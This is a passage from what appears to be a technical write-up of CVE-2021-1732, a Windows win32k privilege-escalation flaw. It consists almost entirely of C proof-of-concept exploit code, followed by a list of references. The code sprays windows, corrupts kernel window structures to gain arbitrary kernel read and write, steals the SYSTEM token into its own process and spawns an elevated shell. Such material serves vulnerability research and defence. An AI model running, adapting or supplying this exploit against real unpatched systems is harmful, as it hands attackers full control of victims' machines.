printf("[-] Failed to locate HmValidateHandle, exiting\n");
return 1;
}
printf("[+] Found location of HMValidateHandle in user32.dll\n");
hookXxxClientAllocWindowClassExtraBytes();
LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);

WNDCLASSEXW wcex = { 0 };

wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = CB_WND_EXTRA_1;
wcex.hInstance = hInstance;
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_POC);
wcex.lpszClassName = CLASS_NAME_1;

RegisterClassExW(&wcex);
wcex.hInstance = hInstance;
wcex.cbWndExtra = CB_WND_EXTRA_2;
wcex.lpszClassName = CLASS_NAME_2;
RegisterClassExW(&wcex);

HMENU hMenu = CreateMenu();
HMENU hHelpMenu = CreateMenu();
AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));

ULONG64 WNDk0ExtraBytesOffset = 0;
ULONG64 WNDk01Offset = 0;

for (int nTrys = 0; nTrys < 5; nTrys++) {
for (int i = 0; i < SPRAY_WND_SIZE; i++) {

HWND h = CreateWindowEx(NULL, CLASS_NAME_1, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);

if (!h)
{
DWORD err = GetLastError();
printf("[-] Failed to CreateWindowEx, error : %llx\n", err);
exit(-1);
}

if (i == 0) {
ULONG64 params[2] = { 0 };
params[0] = (ULONG64)h;
params[1] = 0;
NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params));
}
hWnds[i] = h;
pWnds[i] = (PULONG64)pHmValidateHandle(h, 1);

}

gFakeExtraBytes = *(PULONG64*)((PBYTE)(pWnds[0]) + TAG_WNDk_OFFSET);

for (int i = 2; i < SPRAY_WND_SIZE; i++) {
DestroyWindow(hWnds[i]);
}

WNDk0ExtraBytesOffset = *(ULONG64*)((PBYTE)(pWnds[0]) + WND_EXTRA_BYTES_OFFSET);

ULONG64 WNDk1WndOffset = *(ULONG64*)((PBYTE)(pWnds[1]) + TAG_WNDk_OFFSET);
WNDk01Offset = WNDk1WndOffset - WNDk0ExtraBytesOffset;
printf("[+] Get WNDk01Offset : %llx\n", WNDk01Offset);
if (WNDk1WndOffset < WNDk0ExtraBytesOffset) {
printf("[-] The WNDk01Offset less than 0, try again!\n");
}
else {
hWnd = CreateWindowEx(NULL, CLASS_NAME_2, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
DWORD err = GetLastError();
printf("[-] Failed to CreateWindowEx, error : %llx\n", err);
}

if (gHasTrigger) {
break;
}
}

DestroyWindow(hWnds[0]);
DestroyWindow(hWnds[1]);
DestroyWindow(hWnd);

}


pWnd = (PULONG64)pHmValidateHandle(hWnd, 1);

// set tagWNDk0->cbWndExtra
SetWindowLongPtr(hWnd, CB_WND_EXTRA_OFFSET, 0xfffffff0);



ULONG64 WNDk2WndOffset = *(ULONG64*)((PBYTE)(pWnd)+TAG_WNDk_OFFSET);
ULONG64 WNDk02Offset = WNDk2WndOffset - WNDk0ExtraBytesOffset;
printf("[+] Get WNDk02Offset : %llx\n", WNDk02Offset);
if (WNDk2WndOffset < WNDk0ExtraBytesOffset) {
printf("[-] The WNDk02Offset less than 0, try again!\n");
exit(-1);
}

// get dwStyle
ULONG64 dwStyle = *(ULONG64*)((PBYTE)(pWnds[1]) + DW_EXSTYLE_OFFSET);
dwStyle |= 0x4000000000000000L; // set WS_CHILD

// set tagWNDk1->dwStyle
SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

gPFakeSpMenu = VirtualAlloc(NULL, FAKE_SP_MENU_SIZE, MEM_COMMIT, PAGE_READWRITE);
memset(gPFakeSpMenu, 0, FAKE_SP_MENU_SIZE);

PVOID fakeUnknownChunk = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_READWRITE);
memset(fakeUnknownChunk, 0, 0x200);

gPFakeRgItems = VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE);
memset(gPFakeRgItems, 0, 0x10);

PVOID fakespMenuk = VirtualAlloc(NULL, 0x30, MEM_COMMIT, PAGE_READWRITE);
memset(fakespMenuk, 0, 0x30);

*(ULONG64*)((PBYTE)gPFakeSpMenu + 0x28) = (ULONG64)fakeUnknownChunk;
*(ULONG64*)((PBYTE)fakeUnknownChunk + 0x2c) = 1;
*(DWORD*)((PBYTE)gPFakeSpMenu + 0x40) = 1;
*(DWORD*)((PBYTE)gPFakeSpMenu + 0x44) = 1;
*(ULONG64*)((PBYTE)gPFakeSpMenu + 0x58) = (ULONG64)gPFakeRgItems;
*(ULONG64*)(gPFakeRgItems) = 0xdeadbeef; // read addr
*(ULONG64*)((PBYTE)gPFakeSpMenu + 0x98) = (ULONG64)fakespMenuk;
*(ULONG64*)(fakespMenuk) = (ULONG64)gPFakeSpMenu;

// set fakeSpMenu and get oldPMenu
ULONG64 oldPMenu = SetWindowLongPtr(hWnds[1], GWLP_ID, (ULONG64)gPFakeSpMenu);

printf("[+] Get oldPMenu : %llx\n", oldPMenu);

dwStyle ^= 0x4000000000000000L; // dwStyle recover
SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

ULONG64 originWNDExtraBytes = GetWindowLongPtr(hWnds[0], WNDk01Offset + WND_EXTRA_BYTES_OFFSET);

ULONG64 eprocess = arbRead(hWnds[1], oldPMenu + 0x50);
if (eprocess != 0) {
eprocess = arbRead(hWnds[1], eprocess + 0x10);
eprocess = arbRead(hWnds[1], eprocess);
eprocess = arbRead(hWnds[1], eprocess + 0x220);
printf("[+] Get eprocess : %llx\n", eprocess);

ULONG64 beginEprocess = eprocess;
ULONG64 processId = 0;
ULONG64 nextEprocess = 0;
ULONG64 dwPID = GetCurrentProcessId();
ULONG64 currentEprocess = 0;

while (1) {
processId = arbRead(hWnds[1], eprocess + PROCESS_ID_OFFSET);
if (processId == 4) {
break;
}

nextEprocess = arbRead(hWnds[1], eprocess + NEXT_EPROCESS_OFFSET) - NEXT_EPROCESS_OFFSET;

if (nextEprocess == beginEprocess) {
break;
}
if (processId == dwPID) {
currentEprocess = eprocess;
}
eprocess = nextEprocess;
}
ULONG64 systemToken = arbRead(hWnds[1], eprocess + TOKEN_OFFSET);

printf("[+] Get systemToken : %llx\n", systemToken);

ULONG64 writeAddr = currentEprocess + TOKEN_OFFSET;

arbWrite(hWnds[0], hWnds[1], WNDk01Offset, writeAddr, systemToken);

spawn_shell();
}
else {
printf("[-] Failed to get eprocess\n");
}

printf("[+] Recover begin!\n");

PVOID chunk = VirtualAlloc(NULL, CB_WND_EXTRA_2, MEM_COMMIT, PAGE_READWRITE);;

SetWindowLongPtr(hWnds[0], WNDk02Offset + WND_EXTRA_BYTES_OFFSET, (ULONG64)chunk);

ULONG64 dwFlags = *(ULONG64*)((PBYTE)(pWnds) + MODIFY_OFFSET_FLAG_OFFSET);
dwFlags ^= 0x800;
SetWindowLongPtr(hWnds[0], WNDk02Offset + MODIFY_OFFSET_FLAG_OFFSET, (ULONG64)chunk);


dwStyle |= 0x4000000000000000L; // set WS_CHILD
SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

SetWindowLongPtr(hWnds[1], GWLP_ID, (ULONG64)oldPMenu); // recover oldPMenu

dwStyle ^= 0x4000000000000000L; // dwStyle recover
SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);

// recover pExtraBytes
SetWindowLongPtr(hWnds[0], WNDk01Offset + WND_EXTRA_BYTES_OFFSET, originWNDExtraBytes);

PULONG64 params[2] = { 0 };
params[0] = (PULONG64)hWnd;
params[1] = 0;

DestroyMenu(hHelpMenu);
DestroyMenu(hMenu);
DestroyWindow(hWnds[0]);
DestroyWindow(hWnds[1]);
DestroyWindow(hWnd);

VirtualFree(gPFakeSpMenu, 0, MEM_RELEASE);
VirtualFree(fakeUnknownChunk, 0, MEM_RELEASE);
VirtualFree(gPFakeRgItems, 0, MEM_RELEASE);
VirtualFree(fakespMenuk, 0, MEM_RELEASE);
VirtualFree(chunk, 0, MEM_RELEASE);

printf("[+] Recover success!\n");

system("pause");

}

Reference

Technical Analysis of CVE-2021-1732 | McAfee Blogs

CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析 - 安全客,安全资讯平台 (anquanke.com)

WNDCLASSEXA (winuser.h) - Win32 apps | Microsoft Docs

Win10 tagWnd partial member reverse (window hidden, window protected) - Programmer Sought

Microsoft Windows提权漏洞 (CVE-2021-1732) 分析 - 安全内参 | 决策者的网络安全知识库 (secrss.com)

CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds | iamelli0t’s blog

A simple protection against HMValidateHandle technique · theevilbit blog

GetMenuBarInfo function (winuser.h) - Win32 apps | Microsoft Docs

SetWindowLongPtrW function (winuser.h) - Win32 apps | Microsoft Docs